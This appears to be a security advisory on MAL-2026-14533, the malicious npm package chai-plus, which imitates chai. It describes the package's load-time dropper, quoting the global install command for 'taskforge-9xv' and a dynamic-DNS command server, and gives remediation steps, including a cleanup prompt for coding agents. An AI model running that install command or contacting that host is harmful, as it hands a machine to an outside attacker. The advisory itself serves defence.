# MAL-2026-14533: Malicious code in chai-plus (npm)


- **Type:** Malicious package
- **Package:** `chai-plus` (npm)
- **Published:** 26 Aug 2026
- **Also known as:** GHSA-2r27-f59g-4hcx

## What is MAL-2026-14533?

MAL-2026-14533 is a malicious package in chai-plus, published on 26 Aug 2026. 

### Official description

On require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as a zero-dependency assertion library. Comments in lib/bootstrap.js state the operation is 'user-invoked' and 'NOT automatic', contradicting the actual auto-execution at module load; errors from the dropper are silently swallowed. The package name resembles the popular `chai` assertion library, broadening the pool of developers likely to install it.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-14533?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-14533 is a malicious package: chai-plus (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-14533/ (Markdown: https://insights.sbomify.com/MAL-2026-14533/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-14533

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-14533/
Summaries are generated and may contain mistakes; the official description above is the record.